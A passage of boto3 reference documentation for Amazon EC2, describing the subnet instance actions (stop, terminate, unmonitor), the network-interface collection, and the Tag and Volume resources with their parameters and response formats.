* 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = subnet.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +* **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = subnet.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = subnet.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.all() + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.filter( + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = subnet.network_interfaces.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +[Tag](#id1254) +---------------------------------------------------- + +_class_ EC2.Tag(_resource_id_, _key_, _value_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Tag: + +import boto3 + +ec2 = boto3.resource('ec2') +tag = ec2.Tag('resource_id','key','value') + +Parameters + +* **resource_id** (_string_) -- The Tag's resource_id identifier. This **must** be set. +* **key** (_string_) -- The Tag's key identifier. This **must** be set. +* **value** (_string_) -- The Tag's value identifier. This **must** be set. + +These are the resource's available identifiers: + +* [resource_id](#EC2.Tag.resource_id "EC2.Tag.resource_id") +* [key](#EC2.Tag.key "EC2.Tag.key") +* [value](#EC2.Tag.value "EC2.Tag.value") + +These are the resource's available attributes: + +* [resource_type](#EC2.Tag.resource_type "EC2.Tag.resource_type") + +These are the resource's available actions: + +* [delete()](#EC2.Tag.delete "EC2.Tag.delete") +* [get_available_subresources()](#EC2.Tag.get_available_subresources "EC2.Tag.get_available_subresources") +* [load()](#EC2.Tag.load "EC2.Tag.load") +* [reload()](#EC2.Tag.reload "EC2.Tag.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +resource_id + +_(string)_ The Tag's resource_id identifier. This **must** be set. + +key + +_(string)_ The Tag's key identifier. This **must** be set. + +value + +_(string)_ The Tag's value identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Tag.load "EC2.Tag.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +resource_type + +* _(string) --_ + + The resource type. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified set of tags from the specified set of resources. + +To list the current tags, use DescribeTags . For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTags) + +**Request Syntax** + +response = tag.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags") to update the attributes of the Tag resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +tag.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags") to update the attributes of the Tag resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +tag.reload() + +Returns + +None + +[Volume](#id1255) +---------------------------------------------------------- + +_class_ EC2.Volume(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Volume: + +import boto3 + +ec2 = boto3.resource('ec2') +volume = ec2.Volume('id') + +Parameters + +**id** (_string_) -- The Volume's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Volume.id "EC2.Volume.id") + +These are the resource's available attributes: + +* [attachments](#EC2.Volume.attachments "EC2.Volume.attachments") +* [availability_zone](#EC2.Volume.availability_zone "EC2.Volume.availability_zone") +* [create_time](#EC2.Volume.create_time "EC2.Volume.create_time") +* [encrypted](#EC2.Volume.encrypted "EC2.Volume.encrypted") +* [fast_restored](#EC2.Volume.fast_restored "EC2.Volume.fast_restored") +* [iops](#EC2.Volume.iops "EC2.Volume.iops") +* [kms_key_id](#EC2.Volume.kms_key_id "EC2.Volume.kms_key_id") +* [multi_attach_enabled](#EC2.Volume.multi_attach_enabled "EC2.Volume.multi_attach_enabled") +* [outpost_arn](#EC2.Volume.outpost_arn "EC2.Volume.outpost_arn") +* [size](#EC2.Volume.size "EC2.Volume.size") +* [snapshot_id](#EC2.Volume.snapshot_id "EC2.Volume.snapshot_id") +* [state](#EC2.Volume.state "EC2.Volume.state") +* [tags](#EC2.Volume.tags "EC2.Volume.tags") +* [throughput](#EC2.Volume.throughput "EC2.Volume.throughput") +* [volume_id](#EC2.Volume.volume_id "EC2.Volume.volume_id") +* [volume_type](#EC2.Volume.volume_type "EC2.Volume.volume_type") + +These are the resource's available actions: + +* [attach_to_instance()](#EC2.Volume.attach_to_instance "EC2.Volume.attach_to_instance") +* [create_snapshot()](#EC2.Volume.create_snapshot "EC2.Volume.create_snapshot") +* [create_tags()](#EC2.Volume.create_tags "EC2.Volume.create_tags") +* [delete()](#EC2.Volume.delete "EC2.Volume.delete") +* [describe_attribute()](#EC2.Volume.describe_attribute "EC2.Volume.describe_attribute") +* [describe_status()](#EC2.Volume.describe_status "EC2.Volume.describe_status") +* [detach_from_instance()](#EC2.Volume.detach_from_instance "EC2.Volume.detach_from_instance") +* [enable_io()](#EC2.Volume.enable_io "EC2.Volume.enable_io") +* [get_available_subresources()](#EC2.Volume.get_available_subresources "EC2.Volume.get_available_subresources") +* [load()](#EC2.Volume.load "EC2.Volume.load") +* [modify_attribute()](#EC2.Volume.modify_attribute "EC2.Volume.modify_attribute") +* [reload()](#EC2.Volume.reload "EC2.Volume.reload") + +These are the resource's available collections: + +* [snapshots](#EC2.Volume.snapshots "EC2.Volume.snapshots") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Volume's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Volume.load "EC2.Volume.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +attachments + +* _(list) --_ + + Information about the volume attachments. + + * _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +availability_zone + +* _(string) --_ + + The Availability Zone for the volume. + + +create_time + +* _(datetime) --_ + + The time stamp when volume creation was initiated. + + +encrypted + +* _(boolean) --_ + + Indicates whether the volume is encrypted. + + +fast_restored + +* _(boolean) --_ + + Indicates whether the volume was created using fast snapshot restore. + + +iops + +* _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + +kms_key_id + +* _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the volume. + + +multi_attach_enabled + +* _(boolean) --_ + + Indicates whether Amazon EBS Multi-Attach is enabled. + + +outpost_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +size + +* _(integer) --_ + + The size of the volume, in GiBs. + + +snapshot_id + +* _(string) --_ + + The snapshot from which the volume was created, if applicable. + + +state + +* _(string) --_ + + The volume state. + + +tags + +* _(list) --_ + + Any tags assigned to the volume. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +throughput + +* _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + +volume_id + +* _(string) --_ + + The ID of the volume. + + +volume_type + +* _(string) --_ + + The volume type. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_to_instance(kwargs_) + +Attaches an EBS volume to a running or stopped instance and exposes it to the instance with the specified device name. + +Encrypted EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +After you attach an EBS volume, you must make it available. For more information, see [Making an EBS volume available for use](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html) . + +If a volume has an AWS Marketplace product code: + +* The volume can be attached only to a stopped instance. +* AWS Marketplace product codes are copied from the volume to the instance. +* You must be subscribed to the product. +* The instance type and operating system of the instance must support the product. For example, you can't detach a volume from a Windows instance and attach it to a Linux instance. + +For more information, see [Attaching Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-attaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachVolume) + +**Request Syntax** + +response = volume.attach_to_instance( + Device='string', + InstanceId='string', + DryRun=True|False +) + +Parameters + +* **Device** (_string_) -- + + **[REQUIRED]** + + The device name (for example, /dev/sdh or xvdh ). + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +* _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +create_snapshot(kwargs_) + +Creates a snapshot of an EBS volume and stores it in Amazon S3. You can use snapshots for backups, to make copies of EBS volumes, and to save data before shutting down an instance. + +When a snapshot is created, any AWS Marketplace product codes that are associated with the source volume are propagated to the snapshot. + +You can take a snapshot of an attached volume that is in use. However, snapshots only capture data that has been written to your EBS volume at the time the snapshot command is issued; this might exclude any data that has been cached by any applications or the operating system. If you can pause any file systems on the volume long enough to take a snapshot, your snapshot should be complete. However, if you cannot pause all file writes to the volume, you should unmount the volume from within the instance, issue the snapshot command, and then remount the volume to ensure a consistent and complete snapshot. You may remount and use your volume while the snapshot status is pending . + +To create a snapshot for EBS volumes that serve as root devices, you should stop the instance before taking the snapshot. + +Snapshots that are taken from encrypted volumes are automatically encrypted. Volumes that are created from encrypted snapshots are also automatically encrypted. Your encrypted volumes and any associated snapshots always remain protected. + +You can tag your snapshots during creation. For more information, see [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information, see [Amazon Elastic Block Store](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) and [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSnapshot) + +**Request Syntax** + +snapshot = volume.create_snapshot( + Description='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description for the snapshot. +* **TagSpecifications** (_list_) -- + + The tags to apply to the snapshot during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1122)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1124)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Snapshot + +Returns + +Snapshot resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = volume.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified EBS volume. The volume must be in the available state (not attached to an instance). + +The volume can remain in the deleting state for several minutes. + +For more information, see [Deleting an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVolume) + +**Request Syntax** + +response = volume.delete( + 